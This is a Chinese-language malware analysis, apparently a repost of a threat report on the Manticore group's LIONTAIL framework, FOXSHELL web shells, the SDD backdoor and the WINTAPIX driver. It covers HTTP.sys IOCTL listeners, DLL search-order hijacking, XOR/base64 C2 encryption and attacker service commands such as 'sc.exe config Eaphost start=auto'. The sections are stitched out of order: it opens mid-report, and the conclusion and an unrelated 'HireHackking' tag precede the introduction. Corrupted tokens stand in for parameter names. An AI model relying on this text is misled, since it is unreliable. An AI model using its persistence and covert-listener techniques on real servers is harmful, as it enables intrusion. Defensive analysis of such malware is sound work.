基於Tunna的Web shell最早的一個與攻擊者活動相關的樣本是基於Tunna的web shell, Tunna是一個開源工具，旨在通過HTTPTunna傳輸任何TCP通信。 Tunna web shell允許從外部連接到遠程主機上的任何服務，包括那些在防火牆上被阻止的服務，因為所有與web shell的外部通信都是通過HTTP完成的。在配置階段，將遠程主機的IP和端口發送給web shell，在很多情況下，主要使用Tunna來代理RDP連接。

該攻擊者使用的web shell的內部版本為Tunna v1.1g (Github上只有1.1a版本)。與開源版本相比，最重要的變化是通過使用預定義的字符串szEncryptionKey對數據進行異或處理並在末尾附加常量字符串K_SUFFIX來加密請求和響應：

17.png

攻擊者使用的“Tunna 1.1g”代理中的加密功能

18.png

Tunna代理對數據的解密和加密

FOXSHELL：XORO版本之後，代碼被重構，失去了與Tunna的相似之處。我們將此版本和所有後續版本都稱為FOXSHELL。下面的類結構在大多數FOXSHELL版本中仍然存在：

19.png

FOXSHELL中的類

所有負責加密流量的功能都轉移到一個單獨的EncryptionModule類中。此類加載一個.NET DLL，該DLL嵌入FOXSHELL主體內的base64編碼字符串中，並調用其加密和解密方法：

20.png

web shell中base64編碼的EncryptionDll

21.png

EncryptionModule類負責加密和解密方法調用

嵌入式加密模塊的名稱是XORO.dll，它的類是Encryption.XORO實現解密和加密方法的方式與基於Tunna的web shell相同，使用相同的硬編碼值：

22.png

XORO.dll中的加密常量和解密函數

所有對web shell的請求也封裝在一個名為Package的類中，該類處理不同的PackageTypes：Data、Config、OK、Dispose或Error。 PackageType是由包的第一個字節定義的，根據包的類型，web shell解析包並應用配置(在配置中指定的遠程計算機上打開一個新的套接字，如果提供的話，應用一個新的EncryptionDll)，或者處理現有的套接字，或者如果包是Data類型代理連接：

23.png

FOXSHELL中的包處理

FOXSHELL：Bsae64（非拼寫錯誤）版本這個版本的web shell仍然沒有混淆，它的內部版本在代碼中指定：

24.png

web shell還包含嵌入的默認EncryptionDll。模塊的名稱是Base64.dll，加密類(拼寫錯誤為Bsae64)公開了加密和解密方法。然而，兩者都只是簡單的base64編碼：

24+.png

Base64.dll中的加密和解密方法

雖然這種簡單的編碼可以在web shell本身的代碼中完成，但其他嵌入式dll的存在，如XORO.dll，以及在配置階段提供另一個EncryptionDll的能力，意味著攻擊者更喜歡控制他們在某些環境中默認使用的特定類型的加密。

這個版本中的其他變化是將PackageType配置重命名為RDPconfig，將ConfigPackage重命名為RDPConfigPackage，表明攻擊者專注於代理RDP連接。這些類的代碼保持不變：

25.png

RDP Configuration類

最後，代碼中的另一個條件處理web shell接收非空參數WV-RESET的情況，該參數調用函數關閉代理套接字並向攻擊者發送OK響應：

26.png

“Close proxy” WV-RESET參數

編譯的FOXSHELL除了針對中東之外，這個版本也於2021年5月針對阿爾巴尼亞發起攻擊。通過利用一個面向internet的Microsoft SharePoint服務器，攻擊者部署了ClientBin。在受攻擊服務器上的Aspx來代理外部連接，從而進行橫向攻擊。

在發現的所有樣本中，FOXHELL都被編譯為DLL並嵌入到base64的基本web shell中。編譯後的DLL將加載System.Reflection.Assembly.Load，則調用來自它的ProcessRequest方法。 DLL是用.NET編寫的，其名稱模式為App_Web_

27.png

加載App_Web_*.dll的web shell

App_Web* DLL受到類和方法混淆的影響，所有字符串都使用Base64，第一個字節的異或和AES的組合加密如下：

28.png

inchpublic函數，負責字符串加密，展示了方法和類的混淆

當web shell被編譯成DLL時，它包含初始化存根，這確保web shell偵聽正確的URI。在這種情況下，初始化發生在以下代碼段：

29.png

web shell App_Web_*.dll中的初始化存根

否則，去混淆後：

30.png

這個初始化將FOXSHELL設置為偵聽相對路徑~/1上的請求。研究發現，在涉及LIONTAIL的攻擊的其他web shell中，它是一個未使用的工件。

在內部，DLL具有與以前版本相同的“1.5”版本的FOXSHELL，其中包括用於停止代理的WV-RESET參數和相同的默認Bsae64加密DLL。

基於IIS ServerManager和HTTPListener的獨立後門自2020年年中以來，除了FOXSHELL作為代理流量的手段外，我們還觀察到了一個相當複雜的獨立被動後門，它是用.NET編寫的，旨在部署在IIS服務器上。它被類似於FOXSHELL的技術混淆，並偽裝成System.Drawing.Design.dll。

CC通信SSD後門通過受感染計算機上的HTTP偵聽器設置CC通信。它是通過兩個類實現的：

ServerManager——.NET中System.Web.Administration命名空間的一部分，用於管理和配置Windows服務器上的Internet信息服務（IIS），例如獲取配置、創建、修改或刪除IIS站點、應用程序和應用程序池。

HTTPListener——.NET框架中的一個類，用於創建自定義HTTP服務器，獨立於IIS並基於HTTP API。

ServerManager用於提取IIS服務器託管的網站，並構建要偵聽的URL前綴的HashSet：

31.png

構建URL前綴HashSet的angleoppose_river函數的混亂代碼基於IIS服務器上配置的網站和綁定

本文的惡意軟件示例中配置的唯一相對URI是Temporary_Listen_Addresses。然後惡意軟件使用HttpListener類開始偵聽指定的URL前綴：

32.png

HttpListener啟動代碼

CC命令執行後門程序有幾個功能：使用cmd.exe執行命令，上傳和下載文件，使用指定參數執行進程以及運行其他.NET程序集。

33.png

SDD後門的請求handler

首先，如果POST請求主體包含數據，惡意軟件會對其進行解析，並將消息作為其支持的4個命令之一進行處理。否則，如果請求包含參數Vet，惡意軟件只需從base64中解碼其值，並用cmd/c執行。如果這些都不是真的，那麼惡意軟件會處理心跳機制，如果請求URL包含小寫的字符串wOxhuoSBgpGcnLQZxipa，則惡意軟件會發回UsEPTIkCRUwarKZfRnyjcG13DFA以及200 OK響應。

POST請求中的數據使用Base64和簡單的基於異或處理的加密進行加密：

34.png

命令解密算法

在解密消息的數據後，惡意軟件會按照以下順序對其進行解析：

35.png

處理可能的SDD後門命令類型的開關

由攻擊者命名的命令，包括：

' Command ' -使用指定參數執行進程。在該樣本中，將解析數據以提取進程名稱及其參數；

“Upload”—將文件上傳到受攻擊系統的指定路徑；

“Download”-將指定的文件發送給攻擊者；

“Rundll”-加載程序集並使用指定參數運行它。

響應數據的構建方式與請求相同（返回命令類型、命令名稱和輸出），然後使用與請求相同的基於XOR的算法進行加密。

WINTAPIX驅動程序最近，Fortinet披露了一系列針對中東目標的攻擊，這些攻擊涉及內核模式驅動程序，研究人員將其命名為WINTAPIX。儘管安裝驅動程序的確切感染鏈尚不清楚，但它們僅針對IIS服務器，因為它們使用IIS ServerManager對象。高級執行流程如下：

1.WINTAPIX驅動程序在內核中加載；

2.WINTAPIX驅動程序枚舉用戶模式進程，以查找具有本地系統權限的合適進程；

3.WINTAPIX驅動程序將嵌入的shellcode注入到先前找到的進程中，shellcode是使用開源的Donut項目生成的，這允許創建能夠從內存加載和執行.NET程序集的與位置無關的shellcode。

4.注入的shellcode加載並執行加密的.NET負載。

最後的有效負載除了已經熟悉的類、方法和字符串混淆之外，還使用商業混淆器進行混淆，並且它結合了SDD後門和FOXSHELL代理的功能。為了實現這兩個目標，它偵聽兩組URL前綴，使用ServerManager和HTTPListener，類似於SSD後門。

驅動程序負載中使用的FOXSHELL版本設置為1.7。在這個版本中引入的主要增強是使用掛起EventLog Service線程的已知技術來繞過事件日誌。在驅動程序中硬編碼的默認EncryptionDll是相同的Bsae64.dll，與FOXSHELL 1.5版本相比，核心代理結構還與原來一樣。

36.png

.NET負載中硬編碼的版本

37.png

FOXSHELL 1.7類結構

由於已經提供了對WINTAPIX驅動程序及其版本SRVNET2的廣泛分析，我們只強調它們與其他討論的工具之間的主要重疊部分，它們之間的聯繫如下：

1.與SDD後門相同的代碼庫，包括基於相同字符串值wOxhuoSBgpGcnLQZxipa和UsEPTIkCRUwarKZfRnyjcG13DFA的心跳；

2.支持相同的後門命令類型，使用相同的密鑰進行加密；

3.與FOXSHELL相同的代碼庫、結構和功能；

4.使用相同的混淆和加密方法。

LIONTAIL框架組件與FOXSHELL、SDD後門和WINTAPIX驅動程序共享類似的混淆和字符串工件。目前，我們不知道有任何其他攻擊者利用這些工具，我們根據多個代碼重疊和共享的受害者特徵將它們全部歸因於Manticore。

總結在過去的幾年裡，Manticore被觀察到在中東地區進行了頻繁活動，包括獲得該地區電信和政府組織的訪問權限，並維持和利用這種訪問權限幾個月來系統地從受害者的系統中竊取數據。分析他們的活動歷史可以發現，攻擊者一直在改進攻擊方法。

雖然LIONTAIL代表了FOXSHELL迭代的邏輯進展，並且仍然具有一些獨特的特徵，使我們能夠將涉及LIONTAIL的攻擊歸因於Manticore。 LIONTAIL框架不再依賴於Internet Information Services (IIS)、它的模塊或. net框架提供的任何其他選項和庫來以編程方式管理IIS。相反，它通過直接與HTTP.sys驅動程序交互來利用最低級別的Windows HTTP堆棧。此外，它允許攻擊者自定義植入程序、配置參數和加載程序的文件傳遞類型，這些都增強了植入程序的隱身能力，使其能夠長時間躲避檢測。預計“Manticore”活動將會更加活躍，並可能蔓延到其他地區。

HireHackking

Check Point Research與Sygnia事件響應小組合作，追踪分析Manticore活動，這是一個主要針對中東政府和電信部門的攻擊活動。據分析，Manticore與OilRig(又名APT34、EUROPIUM、Hazel Sandstorm)有關聯。

在最新的攻擊活動中，攻擊者利用了LIONTAIL框架，這是一套複雜的自定義加載程序和內存駐留shellcode有效負載。 Manticore使用HTTP.sys驅動程序的未記錄功能從傳入的HTTP流量中提取有效負載。觀察到的LIONTAIL相關惡意軟件的多種變體表明，Manticore為每台受攻擊的服務器生成了一個自定義的植入程序，使惡意活動能夠融入合法的網絡流量中，並且無法從中識別。

儘管LIONTAIL框架本身看起來很獨特，並且與任何已知的惡意軟件家族沒有明顯的代碼重疊，但這些攻擊中使用的其他工具與之前報告的活動重疊。最值得注意的是，其中一些最終與OilRig有關聯。

在這篇文章中，我們提供了最新工具的技術分析。

LIONTAIL框架LIONTAIL是一個惡意軟件框架，包括一組自定義shellcode加載器和內存駐留shellcode有效負載。它的一個組件是用c語言編寫的LIONTAIL後門。它是一個輕量級但相當複雜的被動後門，安裝在Windows服務器上，使攻擊者能夠通過HTTP請求遠程執行命令。後門為其配置中提供的url列表設置偵聽器，並執行攻擊者向這些url發送請求的有效負載。

LIONTAIL後門組件是最新的Manticore攻擊中使用的主要植入程序。利用來自面向公眾服務器的訪問權限，攻擊者鏈接了一組被動植入程序來訪問內部資源。到目前為止，我們看到的LIONTAIL後門的內部樣本要么偵聽HTTP，要么在某些情況下使用命名管道來促進遠程代碼執行。

1.png

LIONTAIL惡意軟件框架概述

LIONTAIL加載器安裝我們觀察到在受攻擊的Windows服務器上有兩種後門安裝方法：獨立可執行文件和通過Windows服務或合法進程的搜索順序劫持加載的dll。

當作為DLL安裝時，惡意軟件利用Windows Server操作系統發行版中缺少的一些DLL：後門被放置到系統文件夾C：\ Windows \system32中，作為wlanapi.dll或wlbsctrl.dll。默認情況下，Windows Server安裝中不存在這兩個選項。根據Windows Server版本，惡意DLL繼續由其他進程(如Explorer.exe)直接加載，或者攻擊者啟用特定服務(默認禁用)，這些服務需要這些DLL。

在wlbsctrl.dll的情況下，DLL在IKE和AuthIP IPsec key Modules服務開始時加載。對於wlanapi.dll，攻擊者啟用可擴展身份驗證協議：

sc.execonfigEaphoststart=auto；

sc.exestartEaphost；在將LIONTAIL作為可執行文件部署的樣本中，觀察到的一個值得注意的特徵是試圖將可執行文件偽裝成Cyvera Console (Cortex XDR的一個組件)。

配置惡意軟件首先對包含其配置的結構執行一個1字節的異或解密，該結構用以下結構表示：

2.png

字段listen_urls定義了惡意軟件偵聽傳入請求的特定URL前綴

所有示例的URL列表都包含http://+:80/Temporary_Listen_Addresses/前綴，這是一個默認的WCF URL保留，允許任何用戶從該URL接收消息。其他示例包括端口80、443和444上的多個url(在Exchange服務器上)，模擬現有服務，例如：

https://+:443/autodiscover/autodiscovers/；

https://+:443/ews/exchanges/；

https://+:444/ews/ews/；許多LIONTAIL示例包含量身自定義的配置，其中添加了多個其他自定義url，以匹配受攻擊服務器上現有的web文件夾。由於實際的IIS服務已經使用了現有文件夾的url，因此生成的有效負載在路徑中包含額外的隨機字典單詞。這確保了惡意軟件通信與合法通信融合在一起，方便隱藏。

配置中所有前綴的host元素由單個加號(+)組成，這是一個匹配所有可能主機名的“強通配符”。當應用程序需要處理指向一個或多個相對url的請求時，無論這些請求如何到達計算機或它們在host標頭中指定的站點(主機或IP地址)，強通配符都是有用的。

為了理解惡意軟件如何在這些前綴上配置偵聽器以及該方法如何隨時間變化，有必要對Windows HTTP堆棧有所了解。

Windows HTTP棧組件WindowsServer2003中引入了一種端口共享機制，允許多個HTTP服務共享相同的TCP端口和IP地址。該機制封裝在HTTP.sys中，HTTP.sys是一個內核模式驅動程序，負責處理HTTP請求，偵聽傳入的HTTP請求，並將它們引導到相關的用戶模式進程或服務以進行進一步處理。

在驅動程序層之上，Windows提供了HTTP服務器API，這是一個用戶模式組件，提供了與HTTP.sys交互的接口。此外，後台的Internet信息服務（IIS）依賴於HTTP API與HTTP.ssys驅動程序交互。以類似的方式，NET框架中的HttpListener類是圍繞HTTPServerneneneba API的簡單包裝器。

3.png

Windows服務器上HTTP棧組件的架構

應用程序接收和處理特定URL前綴請求的過程可以概述如下：

1.惡意軟件通過Windows操作系統提供的任何方式向HTTP.sys註冊一個或多個URL前綴。

2.當接收到HTTP請求時，如果該惡意軟件負責該前綴，HTTP.sys識別與請求前綴相關聯的應用程序，並將該請求轉發給惡意軟件。

3.惡意軟件的請求handler隨後接收HTTP.sys截獲的請求，並為其生成響應。

CC通信在提取配置後，惡意軟件使用相同的1字節異或通過偵聽提供的URL前綴列表來解密負責建立CC通信通道的shellcode。雖然在面向web的Windows服務器上使用被動後門的概念並不新鮮，早在2019年就有人在野外觀察到它劫持了同一個Windows DLL wblsctrl.DLL，但LIONTAIL的開發人員提高了他們的方法。該惡意軟件不使用HTTP API，而是使用IOCTL與底層HTTP.sys驅動程序直接交互。這種方法更隱蔽，因為它不涉及IIS或HTTP API，這些通常由安全解決方案密切監控，但考慮到HTTP.sys的IOCTL沒有記錄，還需要進一步研究。

首先，shellcode使用以下IOCTL向HTTP.sys註冊URL前綴：

0x128000–UlCreateServerSessionOctl：創建HTTP/2.0會話。

0x128010–UlCreateUrlGroupIoctl：創建新的UrlGroup。 UrlGroup是在服務器會話下創建的一組URL的配置容器，並繼承其配置設置。

0x12801d–UlSetUrlGroupIoctl：通過設置HttpServerBindingProperty將UrlGroup與請求隊列相關聯。

0x128020–UlAddUrlToUrlGroupIoctl：將listen_urls數組添加到新創建的UrlGroup中。

4.png

HTTPsys IOCTL表

註冊URL前綴後，後門啟動一個負責處理傳入請求的循環，直到它從一個等於後門配置中提供的end_string的URL獲得請求。

後門使用0x124036–UlReceiveHttpRequestIoctl IOCTL接收HTTP.sys的請求。

根據受攻擊服務器的版本，使用0x12403B–UlReceiveEntityBodyIoctl或（如果高於20348）0x12403A–UlReceiveEntityBodyFastIo接收請求正文。然後，通過將整個數據與數據的第一個字節異或，對其進行base64解碼和解密。這是在多個惡意軟件家族中觀察到的常見加密方法，包括但不限於DEV-0861的網絡部署反向代理。

5.png

來自LIONTAIL有效負載的CC解密方案

解密後的有效負載具有以下結構：

6.png

惡意軟件創建一個新線程並在內存中運行shellcode。由於某種原因，它使用請求消息中的shellcode_output和shellcode_output_size作為指向內存中各自數據的指針。

為了加密響應，惡意軟件選擇一個隨機字節，使用它作為密鑰對數據進行異或編碼，將密鑰添加到結果中，然後對整個結果進行base64編碼，最後使用IOCTL0x12403F - UlSendHttpResponseIoctl將其發送回CC服務器。

LIONTAIL web shell除了PE植入程序外，Manticore還使用基於web shell的LIONTAIL shellcode加載器。 web shell以類似於其他Manticore . net有效負載和web shell的方式進行混淆。

7.png

LIONTAIL web shell的主要函數(格式化，保留混淆)

web shell接收帶有2個參數的請求：

马云惹不起马云 要執行的shellcode；

马云惹不起马云要使用的shellcode參數；

這兩個參數的加密方式與其他通信相同：對第一個字節進行異或，然後進行base64編碼。

發送到基於web shell的shellcode加載程序的shellcode和參數的結構與LIONTAIL後門中使用的結構相同，這表明觀察到的工件是一個更大框架的一部分，該框架允許根據攻擊者的訪問和需求動態構建加載程序和有效負載。

使用命名管道的LIONTAIL版本我們還發現了與LIONTAIL樣本具有相似內部結構的加載器。這個版本不是偵聽URL前綴，而是從命名管道獲取有效負載，並且可能被指定安裝在無法訪問公共web的內部服務器上。惡意軟件的配置有點不同：

8.png

主shellcode首先將字符串安全描述符“D:（A；FA；WD）”轉換為有效的、功能性的安全描述符。由於字符串以“D”開頭，它表示DACL（自由訪問控制列表）條目，通常具有以下格式：entry_type:heritance_flags（ACE_type；ACE_flags；rights；object_GUID；heritance_object_GUID；account_SID）。在該樣本中，安全描述符允許（A）對所有人（WD）進行文件全訪問（FA）。

然後使用安全描述符根據配置中提供的值創建命名管道。在我們觀察到的示例中，所使用的管道的名稱是\\.\pipe\test-pipe。

值得注意的是，與HTTP版本不同，惡意軟件沒有使用任何更高級的技術來連接到命名管道，從中讀取和寫入。相反，它依賴於標準的kernel32.dll api，如CreateNamedPipe和ReadFileWriteFile。

基於命名管道的LIONTAIL的通信與HTTP版本相同，具有相同的加密機制和相同的負載結構，在內存中作為shellcode運行。

LIONTAIL內存組件有效負載類型在LIONTAIL加載器解密從攻擊者的CC服務器接收到的有效負載及其參數後，它開始解析參數。它是一個結構，描述了shellcode要執行的有效負載類型，並且根據有效負載的類型構建不同：

TYPE=1 ：執行另一個shellcode：

9.png

TYPE=2 ：執行指定的API函數：

10.png

API執行的參數結構如下：

11.png

下一個階段為了防止分析，Manticore將最終有效負載封裝在嵌套的shellcode中。例如，從攻擊者那裡收到的一個shellcode會運行另一個幾乎相同的shellcode，而這個shellcode又會運行負責計算機指紋識別的最後一個shellcode。

此有效負載收集的數據是通過運行特定的Windows api或枚舉註冊表項收集的，並包括以下組件：

1.計算機名(使用GetComputerNameW API)和域名(使用GetEnvironmentVariableA API)；

2.如果系統是64位的標誌(使用GetNativeSystemInfo API，檢查是用wProcessorArchitecture==9完成的)；

3.處理器數量(使用GetNativeSystemInfo API的dwNumberOfProcessors)；

4.物理內存(GetPhysicallyInstalledSystemMemory)；

5.來自當前版本註冊表項的數據(類型、名稱長度、名稱、數據長度和數據)；

6.來自SecureBoot\State註冊表項的數據；

7.來自System\Bios註冊表項的數據；

最後的結構包含所有收集到的信息，也有一個錯誤代碼的位置，供攻擊者使用，以找出為什麼他們使用的一些api不像預期的那樣運行：

12.png

額外的工具除了使用LIONTAIL，我們還觀察到Manticore利用了其他自定義組件。

LIONHEAD網絡傳送器在一些被攻擊的交換服務器上，攻擊者部署了一個名為LIONHEAD的小型網絡傳送器。 LIONHEAD也作為服務安裝，使用與LIONTAIL相同的幻影DLL劫持技術，並利用類似的機制將流量直接轉發到Exchange Web Services (EWS)終端。

LIONHEAD的配置與LIONTAIL不同：

13.png

後門以與LIONTAIL相同的方式註冊listen_urls前綴並偵聽請求。對於每個請求，後門都會復制內容類型、cookie和正文，並將其轉發到配置中指定的

這個傳送器可以用來繞過對EWS外部連接的限制，隱藏EWS數據的真正使用者。